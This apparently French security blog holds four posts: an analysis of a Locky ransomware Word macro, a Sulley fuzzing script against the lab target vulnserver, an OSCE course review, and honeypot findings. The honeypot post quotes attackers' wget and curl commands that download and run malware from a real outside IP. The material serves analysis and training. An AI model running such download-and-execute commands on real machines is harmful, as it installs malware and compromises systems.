vendredi 6 mai 2016

Analyse d'un "dropper" de ransomware

C'est vendredi, c'est permis. Comme beaucoup (trop) de monde, je reçois pas mal d'e-mails contenant des pièces jointes malveillantes. Ces derniers temps, la tendance est aux ransomwares. Après tout, pas besoin de dépenser des fortunes dans des exploits touchant la dernière version du navigateur ou du client mail de l'utilisateur, quand on peut compter sur sa coopération lorsqu'il s'agira de lui demander d'ouvrir un document, et ensuite de payer pour récupérer (ou pas) l'accès à ses fichiers.

Alors le document du jour a été envoyé par l'adresse IP 182.180.112.194 (au Pakistan, mais ça on s'en fout un peu vu qu'il s'agit probablement d'une machine compromise) depuis une adresse gmail, visiblement spoofée en raison d'un en-tête SPF en "softfail" (signifiant que l'IP ayant envoyé l'e-mail n'est pas autorisée via les règles SPF à utiliser le domaine GMail, mais que le propriétaire du domaine le tolère). La pièce jointe est un document Word 2007+ d'environ 45ko :


Alors on peut évidemment aller droit au but et balancer le document dans notre sandbox préférée, voire sur VirusTotal, si l'on a pas de contraintes de confidentialité des données etc. Dans mon cas, il s'agit d'une boite mail perso, je n'ai pas de contraintes particulières. Dans le pire des cas, on peut calculer le hash du document, et le rechercher directement sur les sites mentionnés ci-dessus, comme ça, si l'on ne peut pas (pour diverses raisons) soumettre le fichier, on saura si des informations existent à son sujet.

Mais on peut aussi avoir envie de décortiquer un peu le document. Alors attention, l'analyse qui suit est loin d'être un modèle, mais certains y trouveront sûrement des informations intéressantes.

Un outil que j'ai découvert il n'y a pas si longtemps, c'est "mraptor" de la suite "oletools". Son verdict est immédiat :


On voir direct le gros "SUSPICIOUS" (qui ne se traduit pas par "SUSPICIEUX", mais "SUSPECT"), ainsi que les flags signifiant que la macro s'exécute dès l'ouverture du document (pour peu que les macros soient activées), que des données sont écrites sur le disque, et que la macro exécute un binaire.

D'ailleurs, intéressons nous davantage à cette macro. On va utiliser l'outil "olevba", toujours de la suite oletools :


Malgré plusieurs essais d'options du script, il n'a pas été en mesure de déchiffrer les chaines obfusquées. Ce n'est pas parce que c'est complexe, mais parce qu'il n'a pas été en mesure d'identifier le pattern et de les décoder. Ce n'est pas bien grave, ça se fait très facilement à la main. Avec le même outil, on obtient le code de la macro (juste au dessus du tableau). Au premier abord, le code de la macro ressemble à un set de fonctions de conversions d'unités de mesures diverses, comme par exemple des conversions de volumes, de pressions, etc. Puis on repère assez vite ce morceau de code (pas reproduit dans son intégralité) :


Evidémment, vu comme ça ça ne ressemble à rien. Juste une sorte de chaine de caractères comportant plusieurs valeurs numériques séparées par des caractères ressemblant à des guillemets, qui est splittée, vraissemblablement en prenant ces caractères comme séparateurs, afin de ne garder en sortie qu'un tableau d'entiers, qui ne correspondent pas à un charset connu. On regarde si "sOvetSPL" est utilisé ailleurs dans le code, pour voir quel traitement est fait sur ce tableau :


On a donc une itération sur chacun des entiers, divisé par 16, et converti ensuite en caractère. C'est vrai que si on regarde la gueule de la chaîne d'origine, on repère des patterns à l'oeil nu. Les premiers caractères évoquent assez facilement un "http://". Plutôt que faire chaque caractère à la main (vu la longueur de la chaîne obfusquée ça peut se faire cela dit), on va scripter ça :


On obtient donc une URL. Le reste de l'obfuscation est assez lourde à décortiquer, certaines informations étant obtenues depuis les fichiers embarqués dans le document, mais il est assez facile de déterminer qu'il s'agit d'une fonction effectuant le téléchargement du fichier présent à l'URL ci-dessus, et que ce fichier est par la suite exécuté. L'analyse de ce malware nécessiterait un post à part entière, mais sans surprises, il s'agit d'un ransomware, visiblement un bon vieux Locky :


Notons qu'il s'agit ici des seuls anti-virus qui détectent cette variante de Locky :-)

Autre point amusant vu sur Malwr, le malware refuse visiblement de s'exécuter sur une machine virtuelle. C'est bon à savoir pour ne pas se faire chiffrer ses données :-)

jeudi 5 mai 2016

Fuzzing Vulnserver avec Sulley

Je disais dans un post précédent que je m'étais un peu exercé sur vulnserver.exe durant les semaines ayant précédé mon exam OSCE. Dans un premier temps j'ai bêtement reproduit le schéma du cours, avec SPIKE, sauf que ce n'est pas génial et que j'ai été assez vite confronté à un certain nombre de limitations de l'outil :
- l'affichage de SPIKE n'est pas super compréhensible ;
- il est difficile de faire le lien entre un crash et un paquet précis, ni même une taille de données ;
- l'outil ne vérifie pas si le programme a crashé ou non ;
- et il ne se charge pas de le relancer non plus

Bref, SPIKE c'est le moyen-âge. Ces problèmes là sont fort heureusement assez bien comblés par "Sulley" :
- qui bénéficie d'une interface "web" assez compréhensible, bien que sobre et simple ;
- conserve les paquets envoyés à chaque itération des tests dans des .pcap ;
- qui vérifie que le programme a crashé ou non et indique le numéro du test (et donc du .pcap) correspondant, avec des informations de debug ;
- qui relance le programme testé s'il a planté
- et qui, en plus, a une bonne tête ! :)



Alors je vais pas faire une explication détaillée de l'architecture de Sulley. En version TL;DR, on déploie des agents sur une machine exécutant le binaire à cibler, qui seront en charge de diverses opérations de monitoring :
- un agent réseau, prenant en paramètre un filtre (type BPF) correspondant au flux réseau à sauvegarder (genre tout le traffic reçu sur le port FTP, si on fuzz du FTP), qui attendra un "go" pour commencer à sniffer, et qui s'arrêtera quand on le lui dira
- un agent de processus, en charge du monitoring du processus que l'on fuzze, et qui surveillera l'activité de ce dernier à l'aide d'un process monitor, lui indiquant si le processus a démarré, s'il a crashé, si oui avec quelles infos (eip, seh, ...), et qui sera en charge de le redémarrer (via wmic) s'il a planté

Et de l'autre côté, on a un script qui instrumente le tout, dans lequel on définit la syntaxe du protocole mangé par le programme que l'on souhaite fuzzer, ainsi que différents paramètres liés à la cible (ip, port des monitors, port du service, délai entre deux paquets, etc).

L'installation de Sulley se passe sans encombres, la documentation sur le wiki du projet est excellente et se passe sans accrocs (testé sur un WinXP SP3). Je ne vais pas la détailler davantage.

On va donc passer à la mise en place du monitoring sur le WindowsXP, pour lequel on peut ouvrir deux interpréteurs de ligne de commande (cmd.exe), se positionner dans le dossier de Sulley (c:\sulley\sulley dans mon cas) et lancer les deux monitors :
- Pour le monitor réseau : python network_monitor.py -d 0 -f "src or dst port 9999" -P audits\vulnserver. En gros, on écoute sur la première interface (-d 0) tous les paquets en provenance ou à destination du port 9999 (port par défaut de vulnserver), et on sauvegardera tout ça dans le dossier audits\vulnserver relatif au dossier courant
- Pour le monitor de processus : python process_monitor.py -c audits\vulnserver.crashbin -p vulnserver.exe. En gros on sauvegarde le résumé de nos tests dans le fichier vulnserver.crashbin et on monitore l'état du processus "vulnserver.exe"

On doit se retrouver avec un affichage proche du screenshot suivant :

Le monitoring étant en place, on a plus qu'à créer notre script en charge de l'instrumentation de l'ensemble et de génération des mutations. Dans mon cas, il ressemble à ça :

#!/usr/bin/python
from sulley   import *

s_initialize("VULNSERVER VERBS")
s_group("verbs", values=[ "GMON", "LTER", "HTER", "GTER", "KSTET", "TRUN", "SRUN", "RTIME", "LTIME" ])
if s_block_start("body", group="verbs"):
    s_delim(" ")
    s_string("1")
    s_static("\r\n")
s_block_end()

sess = sessions.session(session_filename="audits/vulnserver.session", sleep_time=0.3, log_level=10)
target                 = sessions.target("192.168.242.66", 9999)
target.netmon          = pedrpc.client("192.168.242.66", 26001)
target.procmon         = pedrpc.client("192.168.242.66", 26002)
target.procmon_options = {
 "proc_name"      : "vulnserver.exe",
 "stop_commands"  : ['wmic process where (name="vulnserver.exe") delete'],
 "start_commands"  : ['c:\\fuzz\\sulley\\vulnserver.exe 9999'],
}
sess.add_target(target)
sess.connect(s_get("VULNSERVER VERBS"))
sess.fuzz()

La première partie du script est globalement la partie qui changera d'une séance de fuzzing à une autre, car elle correspond au protocole que vous souhaitez fuzzer. Il en existe une multitude pour tout un tas de protocoles (certains étant fournis de base avec Sulley, d'autres sur des repositories type github). On définit un groupe de commandes sur lesquelles itérer (gmon, lter, etc) ainsi que leur syntaxe (ici, un séparateur de type espace, suivi d'une chaine pouvant être fuzzée, et d'un saut de ligne).

La seconde partie est améliorable, mais restera globalement toujours la même. On définit où on veut garder l'état de notre séance de fuzzing, ainsi que l'ip/port du service à fuzzer, ainsi que les ip/ports de nos moniteurs (sur lesquels notre script va envoyer les "go" et "stop"), ainsi que les commandes permettant de relancer le service en cas de crash.

Une fois l'ensemble terminé, on a plus qu'à lancer notre script python (python machin.py). Après quelques instants on devrait avoir déjà un affichage sur nos différentes consoles :



Et surtout, ce qui est pratique, c'est l'interface web de monitoring, par défaut sur le port 26000 :


Il n'y a plus qu'à attendre un petit peu et on se retrouvera avec une jolie collection de crashs, qu'on aura plus qu'à analyser (en cliquant sur le "test case #" correspondant), voire rejouer, en récupérant le fichier .pcap dont le nom correspond au numéro du crash qui nous intéresse.

Il existe déjà pas mal de littérature existante sur l'exploitation des différentes vulnérabilités présentes dans vulnserver.exe, généralement bien indexée par Google. Je ferai peut-être un post ou deux sur des cas intéressants rencontrés dans ce binaire...Certains des exploits sont disponibles sur mon repository GitHub. En attendant, allons fuzzer la planète !

samedi 9 avril 2016

Review: Cracking The Perimeter (CTP/OSCE)

Update: Ajout de quelques liens et références, ainsi que des vidéos Shmoocon/Defcon. Reformulation de certaines phrases. Ajout de références sur la partie réseau/cisco.

L'an dernier je vous faisais une review, en français, de ce que l'on appelle vulgairement "OSCP" (le training "Pentesting With Kali", avec la certification OSCP), cette année ça sera "OSCE". Je n'ai pas vu des masses de review en français, si ce n'est aucune.

J'ai fini par passer l'exam, à la toute dernière date possible, et si vous lisez ces lignes, c'est que je l'ai réussi.


Allez, c'est parti !

Pourquoi CTP ?

CTP, ou "Cracking The Perimeter", est le nom de la formation (OSCE est donc le nom de la certification associée).

Sur le principe on peut se demander pourquoi avoir besoin d'un training supplémentaire pour faire du test d'intrusion, une fois qu'on est certifié "OSCP". Offensive-Security apporte son élément de réponse sur la page du training "CTP" en disant, en substance, que de nos jours la barre est assez élevée pour entrer dans un réseau, et que les exploits publics/mots de passe par défaut ne suffisent plus, que l'attaquant a besoin de compétences plus poussées, et que ce training apporte ces compétences.
The bar required to “crack” the organizational perimeter is constantly being raised. Public exploits and weak passwords rarely do the job, which requires the attacker to have an expanded set of advanced hacking techniques in order to successfully complete a real-world pentest.

Le "challenge"

Chose assez inhabituelle pour pouvoir s'inscrire à ce cours, il faut faire un petit challenge en quelques étapes, fournissant des identifiants uniques à communiquer lors de l'inscription. Le but est de s'assurer que le candidat dispose d'un niveau de connaissances minimum avant de s'engager là dedans, histoire qu'il ne perde pas du temps (et surtout de l'argent). En revanche, réussir ce challenge ne garantit pas la suite :)
Il est fortement déconseillé de "tricher" en allant chercher des soluces en ligne avant de faire l'inscription (mais cela va de soi), ça ne fait que retarder la déception en se mentant à soi même. Sauf peut-être pour le "Meilleur Pentester de France 2010".
Je laisserai les curieux se rendre sur le site et résoudre le challenge afin qu'ils se fassent une idée sur les pré-requis (mais ce n'est en rien comparable au challenge du SSTIC :p)

Maintenant, une question qui revient assez souvent c'est "est-ce qu'il faut avoir fait PWK/OSCP avant ?", la réponse est non. Et quant à savoir quel est le niveau minimum à avoir, c'est difficile à dire, mais avoir déjà un peu joué avec des stack overflows est un bon début.

Le programme

Alors on ouvre le syllabus du cours pour voir en gros en quoi il consiste, En revanche, je ne peux pas trop m'étendre sur les détails du contenu :

"Web Application Angle"

Exploitation de quelques vulnérabilités "web" pour aboutir à un shell distant (XSS et LFI).
On va dire que c'est une entrée en la matière de type "pentest" pour faire la liaison avec le cours précédent. Le niveau peut sembler "bas", mais il consiste aussi à analyser du code pour y identifier une vulnérabilité.

"Backdoor Angle"

Cette section sert d'initiation à OllyDBG principalement. On ajoute du code malveillant à un binaire tout ce qu'il y a de plus normal, à la main. On prend aussi un exécutable flaggué comme malveillant par un antivirus, et on le rend indétecté (en tout cas par cet antivirus).

"Advanced Exploit Developpement"

Déjà, on va revoir où nous laissait PWK/OSCP. On exploitait un stack overflow dans un binaire ne présentant pas de protections particulières, sous Windows (et aussi sous Linux) pour sauter sur un shellcode placé sur la stack.
Ici on aborde des cas un tout petit peu plus réalistes, comme la vulnérabilité MS07-017 sous Windows Vista et son ASLR foireux. Le bypass de l'ASLR est trivial, en revanche, on découvre que parfois on saute sur du contenu sous notre contrôle, mais qu'il doit respecter certaines contraintes pour être traité. En l'occurence, on saute au début du header ANI (une chaine "RIFF"), mais on ne peut pas le remplacer par autre chose. On découvre ce qu'on peut faire pour ça.
On voit ensuite un cas où on se retrouve avec peu d'espace accessible directement, mais où on est en mesure de placer et exécuter un shellcode de premier niveau (egghunter) qui ira à la recherche d'un shellcode plus gros situé ailleurs en mémoire.

"0day Angle"

Rassurez-vous, pas de véritables 0days dans le cours, en revanche, on aborde la recherche de vulnérabilités à l'aide de fuzzers (ici, SPIKE), dans le but d'obtenir des 0dayscrashs.
On fait du fuzzing sur un serveur TFTP sous Windows, on en profite pour découvrir l'exploitation lorsque c'est le pointeur SEH qu'on écrase.
On termine la partie exploitation sur des conditions d'exploitation un peu complexes lorsque nos seuls caractères autorisés sont alphanumériques, ce qui complexifie pas mal les choses pour notre shellcode.

"Network Angle"

Ce module est instructif, mais je ne pense pas qu'il me serve réellement dans ma vie de pentester au quotidien. En mode TL;DR, on exploite le fait que le routeur (Cisco) cible ait une ACL pour l'utilisation de la communauté SNMP "private" depuis certaines IP internes uniquement, autorisant la récupération de fichiers de configuration via TFTP. On envoie donc des requêtes SNMP "private" spoofées à l'aide de Scapy pour dire au routeur de venir récupérer notre configuration custom ajoutant un tunnel GRE dont il serait une extrémité, et dont nous serions l'autre extrémité, comme ça nous sommes en mesure de sniffer le traffic passant par ce routeur. Bon en 2016 on connait le filtrage ingress, mais on sait jamais (non, je ne parle pas du jeu en réalité augmentée).
De manière générale, bien que la mise en oeuvre elle-même de l'attaque est hautement improbable de nos jours, la partie "post-exploitation" (à savoir configurer un tunnel GRE) est intéressante et peut donner des éléments de réponse à la question "que faire une fois root sur un routeur (cisco) ?". A noter qu'un vieil article de Phrack répond aussi à cette question, avec le même genre de réponses :-)
Une variante de cette attaque est expliquée dans l'article "Cisco SNMP configuration attack with a GRE tunnel". On retrouve également des explications au chapitre 9 de "Gray Hat Hacking" 4e édition ("Exploiting Cisco Routers").

Le cours

Il s'agit d'un PDF et de quelques heures de vidéo.

Le lab

Ce qui rendait PWK assez unique et en faisait une excellente expérience, c'était son "lab" d'une cinquantaine de machines à compromettre de manières plus ou moins différentes. Dans CTP...eh bien il n'y en a pas vraiment. On se retrouve avec 3 hôtes, dont un qui peut se retrouver dans une configuration IP différente (via le panel d'admin) pour le module réseau de la fin :
- un routeur de type Cisco (probablement émulé via GNS3) pour la partie réseau
- un hôte Windows Vista (pour les parties "backdoor angle" et "advanced exploit development", ainsi que "network angle")
- un hôte Windows 2003 Server (pour les parties web, et fuzzing)
On dispose au maximum de 60 jours (à 1500 USD, soit environ 1400 euros au taux de change actuel) pour profiter au maximum de ce temps de "lab".
Evidemment, offsec ne propose pas des formations où il faut passer 60 jours non-stop dessus. Il s'agit de 60 jours à raison de quelques heures par-ci par-là, comme pour OSCP, en considérant que les gens ont un emploi - parfois chronophage - à côté. Donc en 60 jours il est théoriquement largement possible de passer sur tous les modules (les reproduire dans son "lab" et les documenter allègrement). En réalité, en 30 jours, en s'y collant tous les jours, c'est faisable.

La théorie, et la pratique

Là où dans PWK les instructions pouvaient être suivies pas à pas, et reproduites à peu près exactement, pour arriver à peu près au même résultat que dans le cours, ici ce n'est pas la philosophie. En fait, on considère qu'on est assez grand pour comprendre et s'adapter. Donc les manipulations peuvent parfois ne pas être reproduites telles quelles; par exemple certaines lignes de commandes tapées dans la console sont fausses, certains outils utilisés génèrent des résultats très différents de ceux attendus car ils ont évolué depuis, et pour finir, parfois il y a très peu d'explications. Dans un sens c'est normal, la sécurité informatique est un domaine en perpétuelle évolution (au même titre que l'informatique), on doit démontrer notre capacité à apprendre, et nous adapter.

La documentation

Comme beaucoup de choses dans le domaine de la sécurité informatique, on peut se former tout seul, en autodidacte. L'intégralité des notions abordées par ce cours n'échappent pas à cette règle. Une ressource majeure sont les articles d'exploitation de corelan (en tout cas, les exploit writing tutorials jusqu'au 9e inclus).
Certains bouquins sont également très intéressants :
- The Shellcoder's Handbook
- Hacking: The Art of Exploitation (un seul chapitre en particulier)

Il est également possible de s'entrainer un peu. Le programme vulnserver.exe trouvable assez facilement fera une très bonne cible d'entrainement.

L'ancêtre du cours était à l'origine une présentation faite par muts à Shmoocon, "Backtrack to the Max", dont il existe une vidéo en ligne, présentant le bypass d'antivirus et l'exploitation de ms07-017. Un des modules (shellcoding en conditions extrèmes) a également fait l'objet d'une présentation à Defcon 16 :

De manière générale, chaque domaine abordé dans le cours apporte quelques éléments. Le fait que la vidéo et/ou le support pdf soient parfois volontairement erronés va pousser à aller se documenter sur Internet, pour parfois tomber sur des informations qui sont à l'état de l'art, contrairement au cours lui même, qui date un peu. Forcément, on ne leurre plus un antivirus avec un bête xor en 2016, et le fuzzing avec SPIKE, on a fait mieux depuis :-)


L'exam

A l'instar de l'exam OSCP, à l'heure à laquelle notre exam est programmé on reçoit un kit de connexion à un VPN nous donnant accès à un certain nombre de machines et un panel, et on dispose de 48 heures pour faire ce qui nous est demandé. Evidemment, vous vous doutez que ça tourne autour de la compromission de machines. Par contre, ici il faut oublier exploit-db ou metasploit :-) (qui seront totalement inutiles)
Il faudra mettre en application la quasi totalité des compétences abordées dans le contenu du cours, voire même peut-être un peu plus. C'est sur cet aspect là que se différencient les "geeks" qui iront creuser plus loin que le contenu du cours, et les autres :) parce qu'après tout, c'est cela la sécurité informatique, quelque chose que l'on apprend majoritairement par soi-même. On peut être guidé/accompagné sur certains aspects, mais c'est à nous de continuer seul. On ne peut pas se permettre de rester sur nos acquis.
Evidemment, c'est pas parce qu'on dispose de 48 heures que ça prendra forcément 48 heures. Ca peut prendre moins.
On dispose ensuite de 24 heures supplémentaires pour soumettre un rapport. Là encore, faire le rapport prend une poignée d'heures. C'est juste qu'on dispose de 24 heures maximum pour le rendre.

Je ne vais pas rédiger ici un compte rendu heure par heure de mon organisation pendant l'exam, chacun ayant un mode de fonctionnement différent.

Et la suite ?

Il n'y a pas vraiment de suite à proprement parler. Je pourrais continuer de jouer avec l'exploitation logicielle (et système) et envisager de poursuivre par le cours Advanced Windows Exploitation (aboutissant à la certification OSEE), mais il reste à voir si c'est là encore bien pertinent avec une activité de pentester qui doit plier un pentest en 5 jours rapport compris. Il y a également le cours "Advanced Web Attacks and Exploitation" aboutissant à la certification OSWE, qui parait déjà plus crédible pour un pentester de nos jours.

Conclusion

Je n'irais pas jusqu'à dire que ce training est complémentaire à PWK/OSCP. Certaines notions abordées ayant déjà été abordées, parfois même mieux, par PWK :
- la partie web xss/lfi : on voyait déjà le vol de cookies et la redirection vers un exploit browser pour les xss, et l'injection de code dans les logs pour la partie LFI;
- la partie backdooring/evasion d'antivirus est intéressante pour savoir comment faire ce genre de choses à la main, mais on obtenait limite de meilleurs résultats avec Hyperion dans le cours PWK ;
Ca nous donne 4 modules sur 9 qui mériteraient d'être profondément remaniés. En revanche, rien à dire sur les 5 autres, même si la partie exploitation tourne exclusivement autour de stack overflows.
Maintenant, est-ce qu'en tant que pentester, cette formation est réellement utile ? Je suis assez mitigé, dans la mesure où le temps généralement imparti à un pentest classique est généralement très insuffisant pour envisager de trouver une faille 0day (je vous rappelle que la section fuzzing du cours s'intitule "the 0day angle"), l'analyser et l'exploiter. Dans un contexte "red-team" avec 0 autres possibilités par contre (histoire de pas griller de la 0day pour le fun), pourquoi pas.

vendredi 11 mars 2016

Fun avec un honeypot

J'ai récemment mis un Honeypot en route histoire de récupérer du contenu, et surtout faire quelques statistiques. Alors évidemment, je sais parfaitement que c'est pas comme ça que je vais mettre la main sur du 0day bien croustillant, mais ça a le mérite de me divertir entre deux épisodes d'X-Files.

Update:
J'ai initialement lancé ce honeypot dans un machine virtuelle, mais vu que j'avais également un Raspberry Pi (1ère version, modèle B avec 512mo de ram), j'ai pensé l'utiliser pour en faire un honeypot. Avec "cowrie" c'est juste inutilisable. Le problème est connu, et semble insoluble sur un raspberry 1 pour des raisons de performance. Je me suis rabattu sur Kippo, mais pas mieux (malgré l'overclocking au max).

Ou alors je trouve ça déprimant, parce que je tombe sur des incapables qui me génèrent en boucle la même entrée dans mes logs:

2016-03-09 20:15:26+0100 [SSHChannel session (3) on SSHService ssh-connection on HoneyPotTransport,385,83.197.xx.xx] CMD: wget -qO - http://104.199.163.91/x/2sh | sh > /dev/null 2>&1 &
2016-03-09 20:15:26+0100 [SSHChannel session (3) on SSHService ssh-connection on HoneyPotTransport,385,83.197.xx.xx] Command found: wget -qO - http : //104.199.163.91/x/2sh | sh > /dev/null 2 >& 1 &

Ou des variantes, sur le nom du script téléchargé. Si on regarde le contenu de ce genre de scripts :

curl -O http://104.199.163.91/x/vyattad && chmod +x vyattad && ./vyattad
curl -O http://104.199.163.91/x/kblockd && chmod +x kblockd && ./kblockd
curl -O http://104.199.163.91/x/pty && chmod +x pty && ./pty

Et si on s'intéresse à ces binaires :





En gros, du malware pour Linux bien connu. Sauf le dernier fichier (vyattad), connu d'Avast uniquement jusqu'à hier soir. Deux antivirus se sont rajoutés entre temps. Ce fichier semble être un exécutable pour Linux sur architectures MIPS :

$ file vyattad
vyattad: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, stripped

Ce qui semble cohérent avec la littérature relative à ce malware. Un strings sur le fichier ne me renvoie rien d'intéressant (ce qui est bizarre, un commentaire sur VirusTotal faisant état d'un fichier packé à l'aide d'UPX). Je n'ai pas d'utilitaire UPX pour mips pour le moment, donc je ne peux pas vérifer.
Un objdump pour MIPS ne me renvoie rien de bien fascinant non plus :

$ ./mipsel-buildroot-linux-uclibc-objdump -D vyattad
vyattad: format de fichier elf32-tradbigmips

Et readelf pour MIPS non plus (avec un petit message fun sur la fin) :

$ ./mipsel-buildroot-linux-uclibc-readelf -a vyattad
En-tête ELF:
Magique: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Classe: ELF32
Données: complément à 2, système à octets de poids fort d'abord (big endian)
Version: 1 (current) OS/ABI: UNIX - System V Version ABI: 0
Version: 0x1
Type: EXEC (fichier exécutable) Machine: MIPS R3000 Adresse du point d'entrée: 0x1a3b80
Fanions: 0x10001005, noreorder, cpic, o32, mips2
Début des en-têtes de programme: 52 (octets dans le fichier) Début des en-têtes de section: 0 (octets dans le fichier) Taille de cet en-tête: 52 (bytes)
Table d'indexes des chaînes d'en-tête de section: 0
Taille de l'en-tête du programme: 32 (bytes) Nombre d'en-tête du programme: 2 Taille des en-têtes de section: 40 (bytes) Nombre d'en-têtes de section: 0 Il n'y a pas de section dans ce fichier.
LOAD 0x001c70 0x00611c70 0x00611c70 0x00000 0x00000 RW 0x10000
Il n'y a pas de section à grouper dans ce fichier. En-têtes de programme: Type Décalage Adr. vir. Adr.phys. T.Fich. T.Mém. Fan Alignement LOAD 0x000000 0x00100000 0x00100000 0xa4e40 0xa4e40 R E 0x10000
Aucune information de version repérée dans ce fichier.
Il n'y a pas de section dynamique dans ce fichier. Il n'y a pas de réadressage dans ce fichier. The decoding of unwind sections for machine type MIPS R3000 is not currently supported.

Je n'ai plus qu'à exécuter ce truc pour en faire une analyse dynamique, mais pas ce soir.

Maintenant, je me suis aussi interessé à l'IP qui s'est connectée à mon honeypot, ne serait-ce que pour savoir si c'est un haxor dans son coin qui vient de lancer un script, ou un bot qui ne fait que partager un script qui l'a infecté auparavant. Je ne dirai qu'une chose : la domotique qui a le cul sur internet, c'est très moche (l'internet des objets, vous savez ?)


Allez, la prochaine fois je tomberai peut-être sur quelque chose de plus intéressant.